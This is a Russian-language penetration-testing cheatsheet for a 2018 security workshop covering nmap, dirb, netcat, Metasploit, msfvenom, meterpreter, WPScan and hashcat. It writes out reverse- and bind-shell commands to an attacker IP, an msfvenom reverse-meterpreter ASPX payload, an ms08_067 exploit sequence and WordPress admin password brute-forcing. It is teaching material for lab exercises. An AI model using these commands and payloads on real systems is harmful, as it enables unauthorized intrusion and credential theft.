0

Cheatsheet

В данной статье можно найти небольшой ‘cheatsheet’ с описанием различных инструментов, которые используются на пентестах. Также, он может сильно пригодиться на воркшопе Practical Security Village, проводимом в рамках конференции #PAYMENTSECURITY в 19-20 июля 2018 года.

Для удобства приведения примеров будем считать, что IP-адрес атакующего - 192.168.10.1, а IP-адрес взламываемого сервера - 192.168.10.2.

Подбор директорий

Во время пентеста веб-приложений всегда имеет смысл осуществлять подбор (или брутфорс) директорий. Так можно найти различные скрытые страницы, дополнительную информацию и прочее. Таким образом, увеличится количество точек входа для атаки. Из утилит для брутфорса директорий советуем попробовать воспользоваться dirb.

Самый простой способ запустить эту утилиту: dirb URL, где URL - корневой адрес, в котором будут подбираться поддиректории. При этом будет использован стандартный словарь директорий. Если требуется использовать какой-нибудь другой, то запускать утилиту надо так: dirb URL WORDLIST, где WORDLIST - файл со словарем. Ниже приведен небольшой список наиболее используемых нами параметров этой утилиты:

-c <cookie_string> - использовать при запросах куки. Может пригодится, если в ответ на запросы без куки веб-приложение возвращает access denied или нечто подобное. Вместо <cookie_string> надо вставить строку с cookie, например, такую: PHPSESSID=def0937fdfegee

-o <output_file> - сохранять все результаты в файл. Полезно для будущего анализа. Вместо <output_file нужно вставить путь к файлу с результатами

Пример с перечисленными параметрами:

dirb 192.168.10.2 /root/some_urls.txt -c "PHPSESSID=admin" -o dirb_my_site

Посмотреть весь список опций можно просто вбив dirb в консоль.

Создание TTY-шелла

После получения шелла возникает проблема с запуском некоторых утилит из-за отсутствия нормального терминала (TTY). Например, обладая netcat-шеллом не удастся запустить утилиту sudo, так как вы не сможете вбить пароль пользователя. Для того чтобы получить возможность работать с утилитами, которым нужен терминал, необходить его создать/заспавнить. Это можно сделать следующими способами:

python -c "import pty; pty.spawn('/bin/bash')"

perl —e 'exec "/bin/sh";

echo os.system('/bin/bash')

Nmap

Nmap - мощный инструмент для построения карты сетей. Он может находить хосты, определять работающие на них сервисы, проводить трассировку и многое другое. Приведу ниже пару примеров запуска этой утилиты и основные ключи, которые могут потребоваться.

nmap 192.168.10.2 - nmap просканирует 1000 наиболее встречаемых TCP-портов на хосте 192.168.10.2

nmap 192.168.10.2 -Pn -O -sV --script=smb-enum-share -oA scan_report - описание каждого параметра приведу ниже:

192.168.10.2 - цель сканирования. Все так же будет проведено сканирование 1000 наиболее встречаемых портов

-O - попытаться определить версию операционной системы

-sV - попытаться определить версии сервисов на открытых портах

-Pn - не производить Keep-Alive Test, сканировать в любом случае

--script=smb-enum-shares - запустить скрипт с именем smb-enum-shares. (во время сканирования также рекомендуем использовать nmap script от vulners)

-oA scan_report - создать файлы с отчетами о сканировании во всех возможных форматах и с именами “scan_report”

nmap 192.168.10.2 -p 100-700 -sU - описание параметров ниже:

-p 100-700 - произвести сканирование портов, начиная с порта под номером 100 и заканчивая номером 700. При указании -p- - будет произведено сканирование всех 65535 портов

-sU - произвести UDP-сканирование

Bind shell VS Reverse shell

Перед тем, как продолжить рассказ об утилитах, необходимо прояснить что такое bind shell и reverse shell и чем они отличаются.

Bind shell - это способ управления хостом, когда в роли сервера выступает удаленная машина жертвы, а мы выступаем в роли клиента и подключаемся к открытому на атакуемом сервере порту.

Reverse shell - способ управления хостом, где в роли серверной части выступает наш компьютер, то есть мы вызываем коннект жертвы к себе.

На рисунке ниже видны три этапа создания bind shell’a:

1

На первом этапе мы эксплуатируем уязвимость сервера, или просто запускаем специально подготовленный софт на машине жертвы.

После запуска эксплоита открывается заданный нами порт (в примере 4444).

На третьем этапе мы успешно осуществляем подключение к данному порту.

Но у Bind shell’a есть свои недостатки. Например, если, сервер жертвы находится за NAT, то мы не сможем установить соединение.

В этом случае мы можем использовать Reverse shell. Честно говоря, практически всегда используется именно он.

На рисунке ниже можно увидеть этапы создания reverse shell’a:

2

На первом этапе мы запускаем эксплоит на сервере жертвы.

На втором этапе - открываем порт на своем сервере и готовимся принять соединение (с помощью утилиты netcat или модуля handler в metasploit).

На третьем этапе сервер жертвы осуществляет подключение к нашему серверу и мы получаем возможность управлять им.

Теперь вернемся к описанию инструментов.

Netcat

Netcat - известная утилита, позволяющая устанавливать TCP- и UDP-соединения и передавать по ним данные. Есть несколько разновидностей этой утилиты, но в этом читшите я буду рассматривать netcat-traditional.

Рассмотрим несколько примеров использования утилиты. Например, если мы хотим сделать reverse shell, то на нашей машине мы запускаем:

nc -nvlp 8888 - ждать TCP-соединение на порту 8888

а на машине жертвы выполняем следующую команду:

nc -e /bin/bash 192.168.10.1 8888 - подсоединиться к хосту 192.168.10.1 по TCP-порту 8888 и передать управление командой /bin/bash.

Если же мы хотим установить bind shell, то на машине жертвы мы запускаем команду:

nc -nvlp 8888 -e /bin/bash - ждать TCP-соединение на порту 8888 и передать подключившемуся хосту управление командой /bin/bash

А на своей машине мы запустим:

nc 192.168.10.2 8888 - подключиться к 8888 TCP-порту хоста 192.168.10.2.

Более подробно почитать о параметрах данной утилиты можно с помощью команды nc -h.

Metasploit

Metasploit - известный фреймворк для проведения тестов на проникновение. Содержит огромное количество модулей для разведки, поиска уязвимостей, их эксплуатации, и даже для постэксплуатации.

Metasploit Console

В этом разделе приведены основные команды консоли metasploit.

msfconsole - запустить консоль metasploit

search ms08-067 - искать строку “ms08-067” в списке модулей фреймворка

use exploit/windows/smb/ms08_067_netapi - использовать модуль, расположенный по пути exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.10.2 - установить значение 192.168.10.2, как значение переменной RHOST

show options - показать настройки текущего модуля

exploit или run - запустить модуль

Некоторые модули пост-эксплуатации требуют номер сессии в качестве параметра. При этом сессию еще нужно перевести в фоновый режим. Для этого нужно нажать сочетание клавиш Ctrl + Z, для возврата к ней использовать команду sessions -i N, где N - номер сессии. Список сессий можно получить с помощью команды sessions -l.

Сами модули пост-эксплуатации являются обычными модулями metasploit и управляются точно такими же командами, какие были описаны выше.

Msfvenom

Во фреймворке есть отличная утилита для генерации различных пейлоадов. Запускать ее нужно в консоли ОС, например, bash или sh, а не в консоли metasploit. Вот пример ее запуска:

msfvenom –p windows/meterpreter/reverse_tcp  –f aspx  LHOST=192.168.10.1 LPORT=8080 -O shell.aspx

Разберем параметры:

-p windows/meterpreter/reverse_tcp - использовать полезную нагрузку по пути windows/meterpreter/reverse_tcp. Эта нагрузка представляет из себя meterpreter для ОС Windows, который будет осуществлять обратное подключение

-f aspx - выбрать формат, в котором будет сгенерирован пейлоад, в данном случае это будет скрипт для технологии ASP

LHOST=192.168.10.1 - необходимо при использовании реверс-коннекта. 192.168.10.1 - адрес хоста, к которому реверс-шелл будет коннектиться, например, адрес ноутбука тестирующего

LPORT=8080 - необходимо при использовании реверс-коннекта. 8080- адрес порта, на котором находится слушающая часть реверс-коннекта, например, metasploit или netcat

-O shell.aspx - файл, в который будет сохранена полезная нагрузка

Еще одной полезной командой является следующие:

msfvenom --list payloads - будут перечислены все возможные полезные нагрузки.

mfsvenom --help-format - будут перечислены все возможные форматы файлов

А также msfvenom --help - покажет описание всех возможных параметров.

Meterpreter

Meterpreter - прекрасная альтернатива классическим шеллам, гибкая, расширяемая и продвинутая полезная нагрузка. Для того, чтобы получить его, нужно выбрать соответствующий параметр в msfconsole или msfvenom. В случае использования пейлоада, сгенерированного в msfvenom, в metasploit нужно выбрать модуль exploit/multi/handler, а в нем соответствующие значения переменной PAYLOAD и порта.

Обычные шеллы также можно улучшить до meterpreter. Для этого нужно перевести его в фоновый режим (напоминаю, комбинация клавиш Ctrl + Z), использовать модуль shell_to_meterpreter (use multi/manage/shell_to_meterpreter), выбрать номер сессии (который можно найти с помощью команды sessions -l) и использовать его (run).

В meterpreter довольно обширный функционал, который полностью я приводить здесь не буду кроме самых основ:

ls - вывод списка директорий

cd dir - перейти в директорию “dir”

pwd - вывод текущей директории

edit file - редактирование файла с именем “file”. Для редактирования используется программа vim, так что рекомендуется сначала ознакомиться с ней. Для режима редактирования надо нажать клавишу i, для выхода из него в режим управления - клавишу Esc. Для выхода и сохранения в режиме управления надо нажать :wq.

getsystem - попытаться поднять свои привилегии до пользователя NT/AUTHORITY SYSTEM на подключенном компьютере с ОС Windows.

ipconfig - вывод сетевой информации с подключенного компьютера

cat file - вывод содержимого файла с именем “file”

background - поместить сессию meterpreter в фоновый режим

download remote_file local_file - скачать файл remote_file с подключенного компьютера и сохранить его в виде local_file на компьютере с metasploit

upload local_file remote_file - закачать локальный файл local_file на подключенный компьютер и сохранить его на нем с названием remote_file

Wordlists

Люди регулярно используют слабые и известные всем пароли, например, iloveyou или 12345. Так что когда-то давно кто-то придумал составлять списки паролей, которые были слиты в Интернет после различных взломов. А еще эти списки часто сортируют по популярности.

Списки паролей также известны, как wordlists или словари. Во время атаки на инфраструктуру всегда имеет смысл пытаться восстановить хэш или подобрать пароль, используя не только все возможные комбинации цифр, букв и прочих символов, но и голову словари паролей.

Этих списков более чем много, но для нашего небольшого воркшопа настоятельно рекомендуется использовать небольшую часть известного списка rockyou.txt. Список можно найти по следующей ссылке: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-25.txt

WPScan

WPScan - отличный и бесплатный сканнер уязвимостей CMS Wordpress с открытым исходным кодом. Он может обнаружить уязвимости в самом Wordpress, его темах и плагинах. Вот пример его запуска:

wpscan -u http://192.168.10.2 - самый простой способ запустить WPScan. В результате будет просканирован блог на Wordpress, находящийся на 80 порту сервера 192.168.10.2.

wpscan -u http://192.168.10.2 --username admin --wordlist /root/rockyou-25.txt - будет проведено не только сканирование на уязвимости блога, но попытка подобрать пароль пользователя admin, с использованием словаря паролей, который находится в файле /root/rockyou-25.txt

Больше информации о параметрах сканнера можно узнать, выполнив такую команду: wpscan --help или зайдя на официальный репозиторий проекта на GitHub. Ссылка на проект: https://github.com/wpscanteam/wpscan

Hashcat

Hashcat– программа для быстрого взлома хэшей паролей, которая осуществляет вычисления с использованием видеокарт в несколько потоков. Скачать можно здесь: https://hashcat.net/hashcat/

Общая схема использования следующая:

hashcat [опции] хэш [словарь, маска]

Хэш пароля для взлома можно передавать как в файле, так и в чистом виде в командную строку.

Опции:

-m HASH_TYPE_NUMBER– использовать алгоритм хэширования под номером HASH_TYPE_NUMBER. Например, алгоритму MD5 соответствует 0, а алгоритму SHA-256 – 1400.

-a ATTACK_MODE_NUMBER – применить атаку под номером ATTACK_MODE_NUMBER. Наиболее популярными являются атака по словарю(0) и перебор по маске (3).

--force – игнорировать исключения

-o OUTPUT_FILE– записать результаты в файл с именем OUTPUT_FILE

--show –показать результат

-h -помощь

Наиболее популярными словарями для быстрого перебора паролей являются rockyou и его части rockyou25, rockyou50 и т.д.

В некоторых случаях извлеченные хэши паролей нужно передавать в определенном виде: указывать соль, удалять дополнительныеданные. Все подробности можно найти по ссылке https://hashcat.net/wiki/doku.php?id=example_hashes

Burp Suite

Burp Suite - инструмент для работы с веб-приложениями, созданный компанией PortSwigger. Содержит в себе такие функции, как HTTP-прокси, умеет проводить MiTM-атаки на TLS и SSL, содержит в себе сканнер уязвимостей и многое другое. Отдельно стоит заметить, что часть функционала отключена в бесплатных версиях утилиты, но, тем не менее, для анализа защищенности веб-приложений вполне хватит и бесплатной версии.

Здесь я переведу самые основы работы с Burp Suite, а именно перехват запросов и ручное их редактирование.

Для начала, запустим Burp Suite и перейдем во вкладку “Proxy”. У меня это выглядит вот так:

3

Во вкладке Proxy выберем вкладку Options.

4

Тут мы можем увидеть, что Burp Suite использует прокси-сервер на локалхосте на порту 8080. Отлично, теперь мы знаем, куда перенаправлять наш HTTP-трафик. Сделать это можно в настройках браузера, чаще всего по следующему пути: “Настройки” -> “Прокси-сервер” -> “Ручная настройка прокси”.

После того, как настроили браузер, возвращаемся на вкладку “Intercept” и пытаемя зайти на какой-нибудь сайт в браузере, например, на https://lab.deiteriy.com

И у нас ничего не получится из-за того, что сайт использует HTTPS. Да, в 2018 году куча сайтов используют защищенные соединения. Для того чтобы перехватить HTTPS трафик нужно вернуться в раздел Options вкладки Proxy и нажать на кнопку “Import / export CA certificate”. Далее, пользуясь мастером, экспортировать CA сертификат вашей копии Burp Suite.

Экспортированный сертификат необходимо добавить в список доверенных в вашем браузере. В последнем firefox это можно сделать в меню “Настройки” -> “Приватность и защита” -> “Центры сертификации” -> “Импортировать”.

После того, как мы импортировали наш CA-сертификат, можно перехватывать HTTPS-трафик с браузера, в который этот сертификат импортирован.

Отлично, теперь вернемся обратно на вкладку Intercept и попытаемся зайти на https://lab.deiteriy.com в браузере.

5

В этой вкладке мы можем увидеть перехваченный запрос и модифицировать его любым образом, например, изменить User-Agent или URL. Чтобы отправить наш запрос на сервер требуется нажать кнопку “Forward”, чтобы отменить запрос - кнопку “Drop”.

Собственно, вводный экскурс в утилиту Burp Suite закончен.

Повышение привилегий

Для повышения привилегий на Windows советуем использовать отличный гайд от FuzzySecurity. Для линуксовых машин рекомендуем ознакомиться со статьей g0tmi1k.

Успехов в выполнении заданий воркшопа :)